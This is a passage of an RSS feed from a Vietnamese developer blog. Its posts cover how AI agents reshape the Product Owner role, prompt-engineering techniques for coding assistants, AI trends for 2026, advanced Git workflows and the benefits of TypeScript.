&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://opencode.ai&quot;&gt;OpenCode Official Site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sst/opencode&quot;&gt;OpenCode GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot;&gt;Claude Code Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/copilot&quot;&gt;GitHub Copilot Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.cursor.com&quot;&gt;Cursor IDE Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Product Owner Sẽ Ra Sao Khi AI Agent Phát Triển?</title><link>https://dopana-blog.pages.dev/blog/po-ai-agent</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/po-ai-agent</guid><description>AI Agent không chỉ thay đổi cách viết code — nó đang định hình lại vai trò của PO, BA và toàn bộ quy trình product.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Khi AI Agent bắt đầu viết code, chạy test, và deploy sản phẩm, câu hỏi đặt ra là: Product Owner (PO) còn làm gì? Vai trò của người định nghĩa yêu cầu và ưu tiên tính năng sẽ thay đổi ra sao khi AI có thể tự động phân tích thị trường, đề xuất tính năng, và thậm chí viết cả user story?&lt;/p&gt;
&lt;h2&gt;Hiện Trạng: PO Đang Làm Gì?&lt;/h2&gt;
&lt;p&gt;Trong quy trình Agile hiện tại, PO đảm nhiệm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quản lý backlog — Viết user story, ưu tiên, sắp xếp sprint&lt;/li&gt;
&lt;li&gt;Giao tiếp stakeholder — Thu thập yêu cầu, dung hoà lợi ích&lt;/li&gt;
&lt;li&gt;Định nghĩa &quot;Done&quot; — Acceptance criteria, xác nhận tính năng hoàn thành&lt;/li&gt;
&lt;li&gt;Ra quyết định — Chọn cái gì làm trước, cái gì bỏ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hầu hết thời gian của PO là viết, họp, và ra quyết định — những việc AI Agent hoàn toàn có thể hỗ trợ hoặc thay thế một phần.&lt;/p&gt;
&lt;h2&gt;AI Agent Sẽ Thay Đổi PO Như Thế Nào?&lt;/h2&gt;
&lt;h3&gt;1. Tự Động Hoá Backlog Management&lt;/h3&gt;
&lt;p&gt;AI Agent có thể đảm nhận toàn bộ công việc back-office của PO:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phân tích hành vi người dùng từ analytics, heatmap, session recording&lt;/li&gt;
&lt;li&gt;Tự động sinh user story từ dữ liệu thực tế (không phải từ cảm tính)&lt;/li&gt;
&lt;li&gt;Gợi ý ưu tiên dựa trên impact effort matrix, data chứ không phải intuition&lt;/li&gt;
&lt;li&gt;Phát hiện conflict giữa các tính năng, đề xuất giải pháp&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;PO không còn ngồi viết story — PO sẽ review story do AI đề xuất.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2. Stakeholder Management Có AI Hỗ Trợ&lt;/h3&gt;
&lt;p&gt;AI Agent có thể:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ghi âm, transcript, và tóm tắt toàn bộ meeting (Otter.ai, Fireflies)&lt;/li&gt;
&lt;li&gt;Theo dõi action item và nhắc nhở tự động&lt;/li&gt;
&lt;li&gt;Phân tích sentiment của stakeholder qua email và message&lt;/li&gt;
&lt;li&gt;Dự đoán xung đột lợi ích trước khi chúng xảy ra&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PO vẫn là người đối thoại chính, nhưng AI là trợ lý đắc lực giúp PO không bỏ lỡ thông tin nào.&lt;/p&gt;
&lt;h3&gt;3. Tự Động Kiểm Tra &quot;Definition of Done&quot;&lt;/h3&gt;
&lt;p&gt;Sau khi AI Agent viết code, một AI Agent khác (Reviewer Agent) có thể tự động kiểm tra acceptance criteria:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PO: &quot;User có thể đăng nhập bằng Google&quot;
→ AI Code Agent viết tính năng
→ AI Test Agent viết và chạy test
→ AI Review Agent kiểm tra: feature flag? analytics? error tracking?
→ AI báo cáo cho PO: &quot;Done, 12 test passed, coverage 94%&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PO chỉ cần xác nhận, không cần test thủ công hay review từng dòng.&lt;/p&gt;
&lt;h3&gt;4. Từ Người Viết Yêu Cầu Đến Người Định Hướng Chiến Lược&lt;/h3&gt;
&lt;p&gt;Đây là sự thay đổi lớn nhất. Khi AI làm hết phần viết và ưu tiên, PO chuyển từ tactical sang strategic:&lt;/p&gt;
&lt;p&gt;| Trước | Sau |
|---|---|
| Viết user story 4 tiếng/ngày | Phân tích chiến lược sản phẩm |
| Họp stakeholder 3 tiếng/ngày | Nghiên cứu thị trường và đối thủ |
| Review test case, acceptance | Định nghĩa vision và OKR |
| Ra quyết định dựa trên gut feeling | Ra quyết định dựa trên AI simulation |&lt;/p&gt;
&lt;p&gt;PO không biến mất — PO lên cấp.&lt;/p&gt;
&lt;h2&gt;Scenario: Một Ngày Của PO Năm 2027&lt;/h2&gt;
&lt;p&gt;8:00 — AI Agent gửi báo cáo tổng kết: 3 user story đã hoàn thành, 1 cần PO review vì acceptance criteria chưa rõ&lt;/p&gt;
&lt;p&gt;8:30 — Review AI đề xuất tính năng mới: phân tích 5000 session cho thấy 68% user drop ở step 3. AI đề xuất 3 giải pháp kèm estimated impact&lt;/p&gt;
&lt;p&gt;9:00 — Standup với dev team (thực ra là chat với AI). AI báo cáo tiến độ từng task, blocker đã được AI khác giải quyết từ tối qua&lt;/p&gt;
&lt;p&gt;10:00 — Meeting với stakeholder. AI Agent transcript và sinh action item tự động&lt;/p&gt;
&lt;p&gt;14:00 — PO ra quyết định: chọn solution B. AI tự động tạo story, split task, assign cho dev agent&lt;/p&gt;
&lt;p&gt;16:00 — Review bản demo do AI Agent tạo. PO góp ý vài điểm UX. AI sửa trong 5 phút&lt;/p&gt;
&lt;p&gt;Kết quả: sprint velocity tăng 3x, PO không còn overtime.&lt;/p&gt;
&lt;h2&gt;Kỹ Năng Mới PO Cần Trang Bị&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;AI Literacy — Hiểu khả năng và giới hạn của AI Agent để giao việc hiệu quả&lt;/li&gt;
&lt;li&gt;Prompt Engineering — Biết cách mô tả yêu cầu để AI sinh đúng user story&lt;/li&gt;
&lt;li&gt;Data-Driven Decision — Dùng AI phân tích data thay vì intuition&lt;/li&gt;
&lt;li&gt;Strategic Thinking — Tập trung vào vision và chiến lược, không sa lầy vào chi tiết&lt;/li&gt;
&lt;li&gt;AI Agent Management — Biết cách cấu hình và phối hợp nhiều AI Agent&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;PO Có Bị Thay Thế Hoàn Toàn?&lt;/h2&gt;
&lt;p&gt;Không. AI Agent thiếu ba thứ mà PO giỏi nhất:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Context con người — AI không thể cảm nhận political landscape trong tổ chức&lt;/li&gt;
&lt;li&gt;Quyết định khó — AI có thể gợi ý, nhưng không thể chịu trách nhiệm&lt;/li&gt;
&lt;li&gt;Tầm nhìn — AI phân tích quá khứ, PO vẽ tương lai&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PO sẽ không bị thay thế, nhưng PO không chịu thích nghi sẽ bị bỏ lại.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;AI Agent không phải kẻ thù của PO — nó là công cụ giải phóng PO khỏi công việc hành chính nhàm chán. PO tương lai dành 80% thời gian cho chiến lược và chỉ 20% cho operational — ngược lại hoàn toàn so với hiện tại.&lt;/p&gt;
&lt;p&gt;AI viết story, PO viết vision.
AI ưu tiên task, PO định hướng sản phẩm.
AI kiểm tra done, PO đảm bảo đúng.&lt;/p&gt;
&lt;p&gt;Người PO giỏi nhất là người biết tận dụng AI Agent để tập trung vào điều duy nhất AI không thể làm: đưa ra tầm nhìn và chịu trách nhiệm về nó.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://scrumguides.org&quot;&gt;Scrum Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/agents&quot;&gt;Anthropic AI Agent Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/agents&quot;&gt;OpenAI Agents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://otter.ai&quot;&gt;Otter.ai Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://productschool.com/blog&quot;&gt;Product School Blog — AI for PMs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Prompt Engineering — Nghệ Thuật Nói Chuyện Với AI</title><link>https://dopana-blog.pages.dev/blog/prompt-engineering</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/prompt-engineering</guid><description>Cách viết prompt hiệu quả để AI hiểu đúng và làm đúng — từ kỹ thuật cơ bản đến nâng cao dành cho lập trình viên.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Prompt Engineering là kỹ năng viết lời nhắc (prompt) để điều khiển AI làm đúng ý mình. Không phải ma thuật — mà là một kỹ năng có hệ thống, có thể học được.&lt;/p&gt;
&lt;h2&gt;Tại Sao Prompt Lại Quan Trọng?&lt;/h2&gt;
&lt;p&gt;LLM không đọc suy nghĩ bạn. Nó chỉ nhìn vào chuỗi token bạn gõ và dự đoán token tiếp theo. Cùng một câu hỏi nhưng cách đặt khác nhau cho kết quả hoàn toàn khác:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not OK: &quot;Viết code&quot; → chung chung, AI tự guess&lt;/li&gt;
&lt;li&gt;OK: &quot;Viết hàm TypeScript kiểm tra email hợp lệ, dùng regex, trả về boolean&quot; → rõ ràng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prompt tốt = kết quả tốt. Prompt tồi = AI đoán mò.&lt;/p&gt;
&lt;h2&gt;Nguyên Tắc Vàng Khi Viết Prompt&lt;/h2&gt;
&lt;h3&gt;1. Be Specific — Càng Cụ Thể Càng Tốt&lt;/h3&gt;
&lt;p&gt;| Tệ | Tốt |
|---|---|
| &quot;Sửa lỗi&quot; | &quot;File &lt;code&gt;auth.ts&lt;/code&gt; line 23-45, hàm &lt;code&gt;validateToken&lt;/code&gt; không xử lý expired token. Thêm check &lt;code&gt;exp&lt;/code&gt; claim trước khi verify&quot; |
| &quot;Viết API&quot; | &quot;Viết REST API endpoint &lt;code&gt;POST /users&lt;/code&gt; nhận JSON &lt;code&gt;{name, email, password}&lt;/code&gt;, validate đầu vào, hash password bằng bcrypt, trả về 201 với user object (không kèm password)&quot; |&lt;/p&gt;
&lt;h3&gt;2. Provide Context — Cho AI Biết Bối Cảnh&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;Dự án: Next.js 15, App Router, Prisma + SQLite
Viết: Server action cho chức năng đăng ký
Yêu cầu: validate email, kiểm tra trùng, hash password, gửi email welcome
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Define Constraints — Ràng Buộc Đầu Ra&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- Dùng TypeScript, strict mode
- No any, no !, no @ts-ignore
- Throw custom AppError, không throw Error thường
- Coverage tối thiểu 90%
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. One Shot — Cho Ví Dụ (Few-shot Prompting)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Viết test cho hàm sau. Format theo ví dụ:

// Example test
test(&apos;adds 1 + 2 = 3&apos;, () =&gt; {
  expect(add(1, 2)).toBe(3)
})

Hàm cần test:
export function divide(a: number, b: number): number {
  if (b === 0) throw new Error(&apos;Cannot divide by zero&apos;)
  return a / b
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Các Kỹ Thuật Prompt Nâng Cao&lt;/h2&gt;
&lt;h3&gt;Chain-of-Thought (CoT)&lt;/h3&gt;
&lt;p&gt;Yêu cầu AI suy luận từng bước trước khi trả lời:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hãy phân tích từng bước:
1. Xác định input và output
2. Liệt kê edge cases
3. Đề xuất giải pháp cho từng edge case
4. Viết code

Yêu cầu: Viết hàm xử lý upload file ảnh, kiểm tra định dạng và resize
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Role Prompting&lt;/h3&gt;
&lt;p&gt;Gán vai trò để AI điều chỉnh phong cách:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Bạn là senior software engineer đang review code của junior.
Chỉ ra vấn đề, giải thích tại sao, và đề xuất cải tiến.

Code:
[Paste code ở đây]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;System Prompt vs User Prompt&lt;/h3&gt;
&lt;p&gt;Với các tool hỗ trợ system message (như OpenCode, Cursor):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;System: Bạn là chuyên gia TypeScript. Luôn ưu tiên type safety.
User: Thêm validation cho form đăng nhập
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prompt Template&lt;/h3&gt;
&lt;p&gt;Xây dựng template có thể tái sử dụng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;## Task

{tên task}

## Context

Dự án: {tên dự án}, stack: {stack}
File liên quan: {danh sách file}

## Requirements

- {yêu cầu 1}
- {yêu cầu 2}

## Constraints

- {ràng buộc 1}
- {ràng buộc 2}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lỗi Thường Gặp&lt;/h2&gt;
&lt;h3&gt;1. Prompt Quá Ngắn&lt;/h3&gt;
&lt;p&gt;&quot;Fix bug&quot; → AI không biết fix gì, ở đâu. Luôn kèm error message, stack trace, file path.&lt;/p&gt;
&lt;h3&gt;2. Prompt Mâu Thuẫn&lt;/h3&gt;
&lt;p&gt;&quot;Viết nhanh nhưng phải tối ưu, dùng O(1), nhưng đừng dùng map dễ đọc hơn&quot; → AI confused.&lt;/p&gt;
&lt;h3&gt;3. Không Kiểm Tra Kết Quả&lt;/h3&gt;
&lt;p&gt;AI có thể tự tin trả lời sai. Luôn verify output, đặc biệt là code.&lt;/p&gt;
&lt;h2&gt;Prompt Cho Coding Agent (OpenCode, Cursor, Copilot)&lt;/h2&gt;
&lt;p&gt;Các coding agent có khả năng đọc codebase và chạy lệnh. Prompt hiệu quả hơn khi tận dụng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;@functions/auth.ts: Thêm rate limiting vào hàm login.
Tham khảo cách triển khai trong @api/middleware.ts
Chạy test sau khi xong: npm run test
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;@filename — Tham chiếu file cụ thể&lt;/li&gt;
&lt;li&gt;Yêu cầu chạy lệnh — AI có thể chạy terminal, bảo nó chạy test&lt;/li&gt;
&lt;li&gt;Lặp lại — Không ưng kết quả? Nói &quot;làm lại, nhưng dùng zod thay vì joi&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Prompt Cho Code Review&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Bạn là senior developer. Review code này:
1. Tìm bug tiềm ẩn
2. Đề xuất cải thiện performance
3. Check type safety
4. Gợi ý refactor nếu cần

[Paste code]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prompt Cho Tạo Test&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Viết unit test cho các function trong file utils/helpers.ts
- coverage 100%
- Dùng vitest
- Mock external calls
- Include edge cases: empty string, null, undefined
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Prompt Engineering không phải &quot;nói chuyện với AI&quot; — nó là kỹ thuật truyền đạt yêu cầu có cấu trúc. Cũng giống như viết requirement cho developer, càng rõ ràng càng đỡ tốn thời gian sửa đi sửa lại.&lt;/p&gt;
&lt;p&gt;Ba điều ghi nhớ:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cụ thể — Đừng bắt AI đoán ý bạn&lt;/li&gt;
&lt;li&gt;Context — Cho AI biết nó đang ở đâu, làm gì&lt;/li&gt;
&lt;li&gt;Iterate — Prompt lần 1 chưa tốt? Sửa và chạy lại&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;AI càng ngày càng thông minh, nhưng prompt vẫn là kỹ năng quyết định chất lượng đầu ra. Học cách nói chuyện với AI hôm nay để tiết kiệm hàng giờ làm việc ngày mai.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/prompt-engineering&quot;&gt;OpenAI Prompt Engineering Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering&quot;&gt;Anthropic Prompt Engineering&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2201.11903&quot;&gt;Chain-of-Thought Prompting — Google Research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/structured-outputs&quot;&gt;OpenAI Structured Outputs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.promptingguide.ai/&quot;&gt;Prompt Engineering Guide (DAIR.AI)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Xu Hướng Phát Triển Trí Tuệ Nhân Tạo (AI) Năm 2026</title><link>https://dopana-blog.pages.dev/blog/ai-post</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ai-post</guid><description>Tìm hiểu các xu hướng công nghệ AI hàng đầu và cách ứng dụng chúng vào quy trình phát triển phần mềm hiện đại.</description><pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trí tuệ nhân tạo (AI) đang dịch chuyển mạnh mẽ từ mô hình chatbot tương tác thụ động sang các hệ thống Agentic AI (tác nhân thông minh tự chủ). Trong bài viết này, chúng ta sẽ cùng khám phá những xu hướng AI đột phá và cách lập trình viên có thể tận dụng tối đa sức mạnh này.&lt;/p&gt;
&lt;h2&gt;1. Agentic AI - Kỷ Nguyên Của Sự Tự Chủ&lt;/h2&gt;
&lt;p&gt;Thay vì chỉ trả lời câu hỏi dựa trên prompt của người dùng, các tác nhân AI (AI Agents) hiện nay có khả năng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tự động chia nhỏ một nhiệm vụ phức tạp thành nhiều bước nhỏ.&lt;/li&gt;
&lt;li&gt;Sử dụng các công cụ bên ngoài như trình duyệt, terminal, cơ sở dữ liệu để thực thi công việc.&lt;/li&gt;
&lt;li&gt;Tự kiểm tra kết quả và tự động sửa sai (Self-healing).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Mô Hình Ngôn Ngữ Lớn (LLM) Nhỏ Gọn Nhưng Mạnh Mẽ&lt;/h2&gt;
&lt;p&gt;Sự xuất hiện của các SLM (Small Language Models) chất lượng cao cho phép chạy trực tiếp trên các thiết bị cá nhân (Local AI) mà không cần kết nối Internet hoặc thông qua API đắt đỏ. Các thư viện như Ollama, Llama.cpp giúp việc tích hợp AI cục bộ vào ứng dụng Web/App trở nên dễ dàng hơn bao giờ hết.&lt;/p&gt;
&lt;h2&gt;3. Lập Trình Viên Nên Chuẩn Bị Gì?&lt;/h2&gt;
&lt;p&gt;Để không bị bỏ lại phía sau, các lập trình viên cần dịch chuyển từ vai trò viết mã thuần túy sang thiết kế hệ thống tương tác giữa người và máy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Học cách viết prompt hiệu quả (Prompt Engineering).&lt;/li&gt;
&lt;li&gt;Hiểu cách tích hợp API của LLM bằng các framework phổ biến như LangChain hoặc LlamaIndex.&lt;/li&gt;
&lt;li&gt;Phát triển tư duy hệ thống để kiểm soát và định hướng hành vi của các AI Agents.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hy vọng bài viết này cung cấp cho bạn cái nhìn tổng quan về tương lai của AI. Hãy bắt đầu trải nghiệm và xây dựng những ứng dụng tích hợp AI ngay hôm nay!&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/&quot;&gt;OpenAI Platform&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/&quot;&gt;Anthropic Claude&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://python.langchain.com/docs/&quot;&gt;LangChain Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ollama.com/&quot;&gt;Ollama — Local LLM Runtime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://huggingface.co/&quot;&gt;Hugging Face — AI Models&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Git Nâng Cao: Làm Chủ Quy Trình Làm Việc Nhóm</title><link>https://dopana-blog.pages.dev/blog/git-post</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/git-post</guid><description>Hướng dẫn chi tiết về rebase, cherry-pick, conflict resolution và các best practices khi làm việc nhóm bằng Git.</description><pubDate>Sun, 07 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Git là công cụ quản lý phiên bản không thể thiếu của bất kỳ dự án phần mềm nào. Tuy nhiên, khi làm việc trong nhóm lớn, việc sử dụng các lệnh Git cơ bản đôi khi không đủ giải quyết các vấn đề phức tạp. Bài viết này sẽ hướng dẫn bạn một số kỹ thuật Git nâng cao vô cùng hữu ích.&lt;/p&gt;
&lt;h2&gt;1. Git Rebase Thay Vì Git Merge&lt;/h2&gt;
&lt;p&gt;Khi bạn muốn cập nhật code mới nhất từ nhánh chính (&lt;code&gt;main&lt;/code&gt;/&lt;code&gt;develop&lt;/code&gt;) vào nhánh tính năng (&lt;code&gt;feature&lt;/code&gt;) của mình:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Merge tạo ra một commit gộp (merge commit), làm lịch sử commit bị rối.&lt;/li&gt;
&lt;li&gt;Rebase viết lại lịch sử commit bằng cách đặt các commit mới của bạn lên trên commit mới nhất của nhánh chính, tạo ra một đường thẳng lịch sử sạch đẹp.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git checkout feature-branch
git rebase main
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Không bao giờ được rebase trên các nhánh công khai hoặc nhánh dùng chung (như &lt;code&gt;main&lt;/code&gt;). Việc viết lại lịch sử commit của nhánh chung sẽ gây lỗi nghiêm trọng cho các thành viên khác trong nhóm.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2. Làm Sạch Lịch Sử Commit Bằng Interactive Rebase&lt;/h2&gt;
&lt;p&gt;Trước khi gửi Pull Request (PR), bạn nên gom các commit vụn vặt (như &quot;fix typo&quot;, &quot;update UI minor&quot;) thành các commit có nghĩa bằng lệnh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git rebase -i HEAD~3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trong giao diện tương tác hiện ra, bạn thay đổi hành động từ &lt;code&gt;pick&lt;/code&gt; thành &lt;code&gt;squash&lt;/code&gt; (hoặc &lt;code&gt;s&lt;/code&gt;) cho các commit con để gộp chúng lại với commit cha.&lt;/p&gt;
&lt;h2&gt;3. Lấy Một Commit Cụ Thể Với Git Cherry-Pick&lt;/h2&gt;
&lt;p&gt;Nếu bạn chỉ muốn đem duy nhất một commit từ nhánh khác (ví dụ nhánh sửa lỗi khẩn cấp) sang nhánh hiện tại của mình mà không muốn gộp toàn bộ nhánh đó:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git cherry-pick &amp;#x3C;commit-hash&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chúc các bạn áp dụng thành công các kỹ thuật Git này vào dự án của mình để tối ưu hóa quy trình làm việc nhóm!&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/doc&quot;&gt;Git Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/book/en/v2&quot;&gt;Pro Git Book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/get-started/using-github/github-flow&quot;&gt;GitHub Flow Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.atlassian.com/git/tutorials&quot;&gt;Atlassian Git Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.conventionalcommits.org&quot;&gt;Conventional Commits&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Tại Sao Nên Dùng TypeScript Cho Dự Án Lớn?</title><link>https://dopana-blog.pages.dev/blog/typescript-post</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/typescript-post</guid><description>Những lợi ích vượt trội của TypeScript giúp tăng hiệu năng phát triển và giảm thiểu lỗi trong quá trình vận hành.</description><pubDate>Sat, 06 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JavaScript là ngôn ngữ linh hoạt và dễ tiếp cận, nhưng tính chất dynamic-typing (kiểu động) của nó có thể dẫn đến hàng tá lỗi phát sinh khi dự án phình to. Đó là lý do TypeScript được phát triển. Dưới đây là những lý do cốt lõi bạn nên chuyển sang TypeScript ngay hôm nay.&lt;/p&gt;
&lt;h2&gt;1. Type Safety (An Toàn Kiểu Dữ Liệu)&lt;/h2&gt;
&lt;p&gt;TypeScript giúp phát hiện lỗi ngay tại thời điểm compile (khi đang viết code) thay vì runtime (khi ứng dụng đang chạy và người dùng gặp lỗi).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface User {
  id: number
  name: string
  email?: string
}

function sendWelcomeEmail(user: User) {
  console.log(`Sending email to ${user.email}`) // TypeScript sẽ cảnh báo nếu user.email có thể undefined
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Công Cụ Auto-complete Tuyệt Vời&lt;/h2&gt;
&lt;p&gt;Với TypeScript, IDE (như VS Code) hiểu rõ cấu trúc dữ liệu của bạn. Tính năng Intellisense sẽ hiển thị chính xác các phương thức và thuộc tính có sẵn, giúp bạn lập trình nhanh hơn gấp nhiều lần và giảm thiểu sai sót gõ nhầm tên thuộc tính.&lt;/p&gt;
&lt;h2&gt;3. Dễ Dàng Tái Cấu Trúc (Refactoring)&lt;/h2&gt;
&lt;p&gt;Khi bạn muốn đổi tên một thuộc tính của object được sử dụng ở hàng chục file khác nhau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trong JavaScript: Bạn phải tìm và thay thế thủ công, rất dễ bỏ sót.&lt;/li&gt;
&lt;li&gt;Trong TypeScript: Chỉ cần nhấn &lt;code&gt;F2&lt;/code&gt; đổi tên, compiler sẽ tự động cập nhật mọi tham chiếu trên toàn bộ dự án một cách an toàn.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Dù mất thêm một ít thời gian ban đầu để định nghĩa kiểu dữ liệu (types/interfaces), TypeScript giúp tiết kiệm hàng trăm giờ debug về sau. Đây thực sự là khoản đầu tư vô cùng xứng đáng cho các dự án dài hạn và làm việc đội nhóm.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typescriptlang.org/docs/&quot;&gt;TypeScript Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/intro.html&quot;&gt;TypeScript Handbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typescriptlang.org/play/&quot;&gt;TypeScript Playground&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://basarat.gitbook.io/typescript/&quot;&gt;TypeScript Deep Dive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item></channel></rss>